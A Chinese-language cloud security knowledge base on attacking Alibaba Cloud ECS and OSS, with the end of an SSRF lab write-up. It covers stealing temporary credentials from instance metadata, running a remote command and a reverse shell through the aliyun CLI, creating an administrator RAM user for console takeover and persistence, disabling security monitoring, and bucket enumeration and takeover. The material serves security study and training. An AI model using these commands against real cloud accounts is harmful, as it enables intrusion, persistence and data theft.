环境删除 185 | 186 | 删除创建的子账号 187 | 188 | ```bash 189 | aliyun ram DetachPolicyFromUser --PolicyType System --PolicyName AdministratorAccess --UserName teamssix 190 | aliyun ram DeleteUser --UserName teamssix 191 | ``` 192 | 193 | 删除 SSRF 靶场环境,在使用完靶场后,记得及时删除,因为这里创建的云服务是按时间计费的,该靶场实例的价格为每小时 0.17 元人民币。 194 | 195 | > 在销毁靶场之前,记得把 AccessKey 配置成最开始的 AccessKey,配置命令:aliyun configure --mode AK 196 | 197 | ```bash 198 | terraform destroy 199 | ``` 200 | 201 | 如果想清除 TerraformGoat,可以使用以下命令,如果以后还想进行云上攻防的学习,则可以将 TerraformGoat 环境保留下来。 202 | 203 | ```bash 204 | docker stop terraformgoat 205 | docker rm terraformgoat 206 | docker rmi terraformgoat:v0.0.3 207 | ``` 208 | 209 | ## 0x05 总结 210 | 211 | 这里通过云上 SSRF 漏洞获取到了临时密钥,通过临时秘钥创建了一个具有管理员访问权限的子用户,最后通过这个子用户接管了目标的控制台。 212 | 213 | 但是这个方法在实战中想要使用是有一些前提的,主要前提有以下两个: 214 | 215 | 1. ECS 实例需要被授予 RAM 角色,不然访问临时凭证的元数据会返回 404 216 | 2. RAM 角色需要具备 ram 访问控制的相关操作权限,例如创建用户、赋予权限等,不然临时秘钥会没有创建子用户的权限。 217 | 218 | > 在实战中,如果遇到了 ECS 实例被授予了 RAM 角色的情况,大多时候该角色都是不具备创建用户权限的,这时就没法通过创建子账号登录控制台的方式了,只能通过阿里云命令行工具去操作目标云服务了。 219 | 220 | 总的来说,云上攻防和常规的内网攻防还是十分不一样的。 221 | 222 | - 云上攻防的常见问题是配置错误,例如这里的问题就是 RAM 角色配置权限过高。 223 | - 云上攻防的权限维持主要方法是创建 RAM 高权限用户,而不是像传统攻防里那样有五花八门的权限维持方法。 224 | - 云上攻防的内网横向主要是在云服务厂商命令行或者控制台中进行横向,从这个云服务横向到另一个云服务,而不是像传统攻防那样有各种各样的内网横向手法。 225 | - …… 226 | 227 | 228 | 229 | 最后,本文中所提到的很多命令都是参考火线云安全知识库中的内容,知识库地址:[https://cloudsec.huoxian.cn](https://cloudsec.huoxian.cn/),在知识库的首页中可以看到火线云服务攻防矩阵,本文就是依据这个攻防矩阵进行的云上攻防。 230 | 231 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513738-42620-1654512638.png) 232 | 233 | 如果你还想找到更多云安全资源进行学习,可以访问 Awesome Cloud Security 项目,该项目当前已经收录了上百余条国内外云安全博客、工具、公众号等资源,项目地址:[https://github.com/teamssix/awesome-cloud-security](https://github.com/teamssix/awesome-cloud-security) 234 | 235 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-06-06/1654513748-425711-1654512658.png) 236 | 237 | > 参考文章:[https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs](https://cloudsec.huoxian.cn/docs/articles/aliyun/aliyun_ecs) -------------------------------------------------------------------------------- /docs/articles/aliyun/阿里云 ECS 弹性计算服务攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 阿里云 ECS 弹性计算服务攻防 3 | id: aliyun_ecs 4 | --- 5 | 6 | 关于VPC的概念还请看:https://zone.huoxian.cn/d/985 7 | 8 | 9 | 10 | ![](https://huoxian-community.oss-cn-beijing.aliyuncs.com/2022-04-07/1649324658-933864-image.png) 11 | 12 | 13 | 14 | ## 一、初始化访问 15 | 16 | ### 1、元数据 17 | 18 | #### 1.1、SSRF导致读取元数据 19 | 20 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173443752.(null)) 21 | 22 | 如果管理员给ECS配置了RAM角色,那么就可以获得临时凭证 23 | 24 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173523282.(null)) 25 | 26 | **如果配置RAM角色** 27 | 28 | 在获取ram临时凭证的时候,有一个必要的条件 29 | 30 | - 当前ECS必须被授予了RAM 31 | 32 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173530221.(null)) 33 | 34 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173532624.(null)) 35 | 36 | 首先我们来看一下没有授予权限的机器 37 | 38 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173535779.(null)) 39 | 40 | 访问这个目录后就会显示404,接下来我们配置好权限之后在请求一次 41 | 42 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173538937.(null)) 43 | 44 | - 注意 45 | - 如果管理员在配置RAM权限的时候选择的角色为服务,那么就没办法用该账号访问别的 46 | 47 | - 如果权限较小的话,也无法进行更多的横向操作 48 | 49 | ### 2、AK密钥泄露 50 | 51 | 云场景下的凭证泄露可以分成以下几种: 52 | 53 | - 控制台账号密码泄露,例如登录控制台的账号密码 54 | 55 | - 临时凭证泄露 56 | 57 | - 访问密钥泄露,即 AccessKeyId、SecretAccessKey 泄露 58 | 59 | - 实例登录凭证泄露,例如 AWS 在创建 EC2 生成的证书文件遭到泄露 60 | 61 | 对于这类凭证信息的收集,一般可以通过以下几种方法进行收集: 62 | 63 | - Github 敏感信息搜索 64 | 65 | - 反编译目标 APK、小程序 66 | 67 | - 目标网站源代码泄露 68 | 69 | #### 2.1、执行任意命令 70 | 71 | 首先如果使用Aliyun的CLi作为演示 72 | 73 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173544710.(null)) 74 | 75 | ```Nginx 76 | aliyun ecs DescribeInstances 77 | ``` 78 | 79 | 我们使用该命令来获取所有的ECS信息,并输出到ecs.json文件中 80 | 81 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173548540.(null)) 82 | 83 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173552963.(null)) 84 | 85 | 我们可以看到这里有一个`InstanceId` 86 | 87 | 随后使用下面的命令,可以在ECS上执行命令 88 | 89 | ```Apache 90 | aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "touch /tmp/UzJu" 91 | ``` 92 | 93 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173557191.(null)) 94 | 95 | #### 2.2、反弹shell 96 | 97 | 在新服务器中开启NC 98 | 99 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174318743.(null)) 100 | 101 | ```Apache 102 | aliyun ecs RunCommand --InstanceId.1 i-2ze2sfmwdrs1z5xxoumk --RegionId cn-beijing --Type RunShellScript --CommandContent "bash -c 'exec bash -i &>/dev/tcp/ip/port <&1'" 103 | ``` 104 | 105 | 随后使用aliyun cli输入命令 106 | 107 | ![image-20220407173635773](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173635773.png) 108 | 109 | #### 2.3、创建RAM账号登录控制台 110 | 111 | 获取到泄露的AK之后,可以通过写入RAM账户登录 112 | 113 | 首先在aliyun cli中配置泄露的AKID等信息 114 | 115 | ##### 2.3.1、GetAccountAlias接口 116 | 117 | 通过调用GetAccountAlias接口查看账号别名 118 | 119 | > 官方文档地址:https://help.aliyun.com/document_detail/28737.html 120 | 121 | ```Nginx 122 | aliyun ram GetAccountAlias 123 | ``` 124 | 125 | ![image-20220407173618740](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173618740.png) 126 | 127 | ##### 2.3.2、CreateUser 128 | 129 | 调用CreateUser接口创建一个RAM用户 130 | 131 | ```Nginx 132 | aliyun ram CreateUser --UserName xxx 133 | ``` 134 | 135 | ![image-20220407173649000](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173649000.png) 136 | 137 | ##### 2.3.3、CreateLoginProfile 138 | 139 | 调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录 140 | 141 | ```Nginx 142 | aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 143 | ``` 144 | 145 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173657197.(null)) 146 | 147 | ##### 2.3.4、AttachPolicyToUser 148 | 149 | 调用AttachPolicyToUser接口为指定用户添加权限 150 | 151 | ```Nginx 152 | aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 153 | ``` 154 | 155 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173701279.(null)) 156 | 157 | ##### 2.3.5、登录控制台 158 | 159 | 在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆? 160 | 161 | 我们只需要使用以下命令获取到ID放在@符号后边即可 162 | 163 | ```Nginx 164 | aliyun ram GetAccountAlias 165 | ``` 166 | 167 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173705690.(null)) 168 | 169 | ![image-20220407173729483](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173729483.png) 170 | 171 | ### 3、恶意的镜像 172 | 173 | 获取控制台权限后,可导入存在后门的镜像 174 | 175 | ![image-20220407173748527](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173748527.png) 176 | 177 | 下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。 178 | 179 | ## 三、命令执行 180 | 181 | ### 1、接管控制台 182 | 183 | 在上文中我们提到关于RAM用户权限比较小的时候,我们没办法登录控制台,但是如果权限足够的情况,能否登录控制台 184 | 185 | 我们知道了,如果想让ECS中的元数据有RAM这个目录,我们必须给ECS授权RAM角色 186 | 187 | ![image-20220407173803269](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173803269.png) 188 | 189 | 例如我们现在并没有给ECS授权RAM角色,那么我们请求元数据地址看看是否还是404 190 | 191 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173810321.(null)) 192 | 193 | 尝试给ECS授权RAM角色,在创建角色的时候,有三个选项,这里尝试前两个 194 | 195 | - 阿里云账号 196 | 197 | - 阿里云服务 198 | 199 | 首先我们来看一下阿里云账号 200 | 201 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173822372.(null)) 202 | 203 | 随后创建完成需要给角色授权 204 | 205 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173825491.(null)) 206 | 207 | 此时我们选择所有阿里云资源权限 208 | 209 | ![image-20220407173840081](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173840081.png) 210 | 211 | 随后来到ECS添加授权会发现无法添加 212 | 213 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173846603.(null)) 214 | 215 | 既然这样,在选择角色的时候如果选择阿里云服务 216 | 217 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173851447.(null)) 218 | 219 | 随后选择一样的权限 220 | 221 | ![image-20220407173904778](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173904778.png) 222 | 223 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173909409.(null)) 224 | 225 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174338634.(null)) 226 | 227 | 然后回到ECS中,请求元数据看是否存在RAM目录 228 | 229 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173912236.(null)) 230 | 231 | 在不知道ram角色名的情况下,如果请求/ram/security-credentials/目录,则会返回RAM角色名 232 | 233 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173916574.(null)) 234 | 235 | 此时我们再请求Service即可获得临时凭证 236 | 237 | ![image-20220407173929932](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173929932.png) 238 | 239 | **采坑** 240 | 241 | 这里在尝试的时候一直会有一个问题,我们配置好上图获取到的AKID和SECRET之后配置到aliyun cli会发现需要一个SecurityToken参数 242 | 243 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174327892.(null)) 244 | 245 | 这里的解决办法就是在配置的时候加上一个`--mode`参数即可 246 | 247 | ```Nginx 248 | aliyun configure --mode StsToken 249 | ``` 250 | 251 | ![image-20220407173943885](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407173943885.png) 252 | 253 | 随后我们创建新的RAM角色登录控制台 254 | 255 | #### 1.1、创建RAM角色账户登录控制台 256 | 257 | ##### 1、GetAccountAlias 258 | 259 | 通过调用GetAccountAlias接口查看账号别名 260 | 261 | > 官方文档地址:https://help.aliyun.com/document_detail/28737.html 262 | 263 | ```Nginx 264 | aliyun ram GetAccountAlias 265 | ``` 266 | 267 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173951327.(null)) 268 | 269 | ##### 2、CreateUser 270 | 271 | 调用CreateUser接口创建一个RAM用户 272 | 273 | ```Nginx 274 | aliyun ram CreateUser --UserName xxx 275 | ``` 276 | 277 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173954688.(null)) 278 | 279 | ##### 3、CreateLoginProfile 280 | 281 | 调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录 282 | 283 | ```Nginx 284 | aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 285 | ``` 286 | 287 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407173958388.(null)) 288 | 289 | ##### 4、AttachPolicyToUser 290 | 291 | 调用AttachPolicyToUser接口为指定用户添加权限 292 | 293 | ```Nginx 294 | aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 295 | ``` 296 | 297 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174002480.(null)) 298 | 299 | ##### 5、登录控制台 300 | 301 | 此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆? 302 | 303 | ```Nginx 304 | aliyun ram GetAccountAlias 305 | ``` 306 | 307 | 使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可 308 | 309 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174005122.(null)) 310 | 311 | 随后输入我们设置的密码即可 312 | 313 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174009166.(null)) 314 | 315 | 随后我们成功登录了控制台 316 | 317 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174013557.(null)) 318 | 319 | ##### 6、注意 320 | 321 | 如果我们获取到的临时凭据在权限很小的时候,是无法创建RAM用户登录控制台的 322 | 323 | ![](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageUzJuMarkDownImageimage-20220407174026473.png) 324 | 325 | ## 四、权限维持 326 | 327 | ### 1 、云函数 328 | 329 | 通过云函数的方式创建后门 330 | 331 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174044467.(null)) 332 | 333 | ### 2、后门镜像 334 | 335 | 获取控制台权限后,可导入存在后门的镜像 336 | 337 | ![image-20220407174110830](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407174110830.png) 338 | 339 | 下次目标用户在选用镜像创建实例的时候,就会触发我们在镜像中植入的恶意代码了。 340 | 341 | ### 3、创建访问密钥 342 | 343 | ##### 4.4.1、通过创建新的RAM角色登录控制台 344 | 345 | ###### 1、GetAccountAlias 346 | 347 | 通过调用GetAccountAlias接口查看账号别名 348 | 349 | > 官方文档地址:https://help.aliyun.com/document_detail/28737.html 350 | 351 | ```Nginx 352 | aliyun ram GetAccountAlias 353 | ``` 354 | 355 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174116132.(null)) 356 | 357 | ###### 2、CreateUser 358 | 359 | 调用CreateUser接口创建一个RAM用户 360 | 361 | ```Nginx 362 | aliyun ram CreateUser --UserName xxx 363 | ``` 364 | 365 | ![image-20220407174133229](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407174133229.png) 366 | 367 | ###### 3、CreateLoginProfile 368 | 369 | 调用CreateLoginProfile接口为一个RAM用户启动Web控制台登录 370 | 371 | ```Nginx 372 | aliyun ram CreateLoginProfile --UserName xxx --Password xxxx 373 | ``` 374 | 375 | ![image-20220407174146287](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407174146287.png) 376 | 377 | ###### 4、AttachPolicyToUser 378 | 379 | 调用AttachPolicyToUser接口为指定用户添加权限 380 | 381 | ```Nginx 382 | aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName xxx 383 | ``` 384 | 385 | ![image-20220407174201585](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407174201585.png) 386 | 387 | ###### 5、登录控制台 388 | 389 | 此时有一个疑惑,在登录控制台的时候我们需要在用户名的后面加上一个@符号,后面跟上域名等,那么此时我们没有域名应该如何登陆? 390 | 391 | ```Nginx 392 | aliyun ram GetAccountAlias 393 | ``` 394 | 395 | 使用该命令我们可以获取到一串数字,AccountAlias,随后把这串数字放到用户名的后面即可 396 | 397 | ![image-20220407174211567](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220407174211567.png) 398 | 399 | 随后输入我们设置的密码即可 400 | 401 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174216239.(null)) 402 | 403 | 随后我们成功登录了控制台 404 | 405 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174219896.(null)) 406 | 407 | 408 | 409 | ## 五、防御绕过 410 | 411 | ### 1、关闭安全监控服务 412 | 413 | 正常我们是没有办法直接结束进程阿里云的云盾的(ROOT用户也不行) 414 | 415 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174237583.(null)) 416 | 417 | 如果我们强制Kill就会收到告警 418 | 419 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174242940.(null)) 420 | 421 | 可以在云安全中心把所有的监控都关了,然后就可以kill掉这个进程了 422 | 423 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174246220.(null)) 424 | 425 | 并且我们不会收到告警 426 | 427 | ## 六、信息收集 428 | 429 | ### 1、元数据 430 | 431 | 在阿里云ECS常见下可以直接请求:http://100.100.100.200/latest/meta-data/ ,来获取元数据 432 | 433 | ![img](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImage(null)-20220407174251192.(null)) 434 | 435 | **tIps** 436 | 437 | 有时候我们请求http://100.100.100.200/latest/meta-data/会发现返回404,这是因为没有配置Ram用户 438 | 439 | > 详情请看【命令执行那一栏】 440 | 441 | ### 2、子网信息 442 | 443 | 在进行横向移动时,如果知道目标存在哪些网段可以起到事半功倍的效果,在云场景下,可以直接通过控制台看到目标的网段情况。 444 | 445 | ## 七、横向移动 446 | 447 | ### 1、访问凭证 448 | 449 | 当拿到目标的临时访问凭证或者访问密钥后,可以通过命令行或者也可以通过控制台的方式进行内网横向移动。 450 | -------------------------------------------------------------------------------- /docs/articles/aliyun/阿里云 OSS 对象存储攻防.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: 阿里云 OSS 对象存储攻防 3 | id: aliyun_oss 4 | --- 5 | 6 | 本文分为两个部分 7 | 第一部分介绍 OSS 对象存储攻防的方式 8 | 第二部分为真实漏洞案例 9 | 10 | 11 | 12 | ## 1、Bucket权限配置错误-公开访问 13 | 14 | 在创建Bucket桶时,默认是private的权限,如果在错误的配置下,给了listobject权限,就会导致可遍历存储桶 15 | 16 | ![image-20220211181113047](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220211181113047.png) 17 | 18 | 在此时如果选择公有读的话,会出现两种情况 19 | 20 | 1、在只配置读写权限设置为公有读或公共读写的情况下,无法列出对象 21 | 22 | ![image-20220212120109881](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212120109881.png) 23 | 24 | 但是可以直接访问对应的KEY路径 25 | 26 | ![image-20220212130334977](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130334977.png) 27 | 28 | ![image-20220212130352857](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130352857.png) 29 | 30 | ![image-20220212130410829](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130410829.png) 31 | 32 | 2、如果想列出Object对象,只需要在Bucket授权策略中设置ListObject即可 33 | 34 | ![image-20220212130653830](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130653830.png) 35 | 36 | ![image-20220212130718351](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130718351.png) 37 | 38 | 这样再当我们访问存储桶域名的时候就会发现,已经把我们存储桶的东西列出来了 39 | 40 | ![image-20220212130802988](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212130802988.png) 41 | 42 | ## 2、Bucket桶爆破 43 | 44 | 当不知道 Bucket 名称的时候,可以通过爆破获得 Bucket 名称,这有些类似于目录爆破,只不过目录爆破一般通过状态码判断,而这个通过页面的内容判断。 45 | 46 | 当对于阿里云OSS 不存在有两种返回情况,分别是 InvalidBucketName 和 NoSuchBucket 47 | 48 | ![image-20220212131516708](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212131516708.png) 49 | 50 | **InvalidBucketName**:表示存储桶的名称不符合规范,属于无效的存储桶名称 51 | 52 | ![image-20220212131606965](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212131606965.png) 53 | 54 | **NoSuchBucket**:表示没有这个存储桶 55 | 56 | 当存储桶存在时,则会返回以下两种情况 57 | 58 | ![image-20220212131741241](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212131741241.png) 59 | 60 | ![image-20220212131857498](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212131857498.png) 61 | 62 | 这样通过返回内容的不同,就可以进行 Bucket 名称爆破了,知道 Bucket 名称后,Key 的爆破也就很容易了。 63 | 64 | ## 3、特定的Bucket策略配置 65 | 66 | 特定的策略配置的指的是,如果管理员设置了某些IP,UA才可以请求该存储桶的话,此时如果错误的配置了GetBucketPolicy,可导致攻击者获取策略配置 67 | 68 | ![image-20220214110621814](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214110621814.png) 69 | 70 | 可以看到我们此时是没有权限访问该存储桶的,我们尝试使用aliyun的cli获取policy 71 | 72 | ![image-20220214110649046](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214110649046.png) 73 | 74 | 我们可以看到,需要符合UserAgent为UzJu才可以访问 75 | 76 | ![image-20220214110725348](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220214110725348.png) 77 | 78 | ## 4、Bucket Object遍历 79 | 80 | ![image-20220212133217024](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133217024.png) 81 | 82 | 如果设置了ListObject,这将会导致Bucket桶被遍历 83 | 84 | ![image-20220212133307081](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133307081.png) 85 | 86 | 可通过访问Key,来下载该文件 87 | 88 | ![image-20220212133447070](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133447070.png) 89 | 90 | ## 5、任意文件上传与覆盖 91 | 92 | 如果在配置存储桶时,管理员错误的将存储桶权限,配置为可写,这将会导致攻击者可上传任意文件到存储桶中,或覆盖已经存在的文件 93 | 94 | ![image-20220212133628804](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133628804.png) 95 | 96 | ![image-20220212133814727](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133814727.png) 97 | 98 | ![image-20220212133844941](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212133844941.png) 99 | 100 | 如果目标的对象存储支持 html 解析,那就可以利用任意文件上传进行 XSS 钓鱼、挂暗链、挂黑页、供应链投毒等操作。 101 | 102 | ## 6、AccessKeyId,SecretAccessKey泄露 103 | 104 | 如果目标的 AccessKeyId、SecretAccessKey 泄露,那么就能获取到目标对象存储的所有权限,一般可以通过以下几种方法进行收集: 105 | 106 | **1、**通过GitHub等开源平台中的源代码可发现存在泄露的Key 107 | 108 | ![image-20220212134350154](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212134350154.png) 109 | 110 | **2、**通过反编译APK,找到敏感信息 111 | 112 | **3、**在目标网站源代码中找到(Js等) 113 | 114 | ![download_image](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageUzJuMarkDownImagedownload_image.png) 115 | 116 | ## 7、Bucket接管 117 | 118 | 在阿里云下,当 Bucket 显示 NoSuchBucket 说明是可以接管的,如果显示 AccessDenied 则不行。 119 | 120 | ![image-20220212134841569](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212134841569.png) 121 | 122 | 假设有以下一种情况,管理员通过域名解析并绑定了一个存储桶,但是管理员将存储桶删除后,没有将域名解析的CNAME删除,这时会访问域名就会出现上面的情况,**NoSuchBucket**。 123 | 124 | ![image-20220212135014007](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135014007.png) 125 | 126 | ![image-20220212135053519](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135053519.png) 127 | 128 | ![image-20220212135121070](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135121070.png) 129 | 130 | 现在我们将存储桶删除,就会出现如下情况 131 | 132 | ![image-20220212135244909](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135244909.png) 133 | 134 | 现在我们再访问域名会出现如下情况 135 | 136 | ![image-20220212135316238](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135316238.png) 137 | 138 | 现在阿里云加了限制,必须在传输管理中配置绑定域名即可。以下情况即可接管该存储桶 139 | 140 | ![image-20220212135948743](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212135948743.png) 141 | 142 | 当我们访问存储桶的域名时,提示我们NoSuchBucket,这个时候可以登录自己的阿里云账号,创建同样的名称即可 143 | 144 | ![image-20220212140112615](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212140112615.png) 145 | 146 | ![image-20220212140129779](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212140129779.png) 147 | 148 | 此时我们刷新 149 | 150 | ![image-20220212140150975](https://uzjumakdown-1256190082.cos.ap-guangzhou.myqcloud.com/UzJuMarkDownImageimage-20220212140150975.png) 151 | 152 | 已经成功接管了该存储桶,尝试上传文件后配置权限公开访问 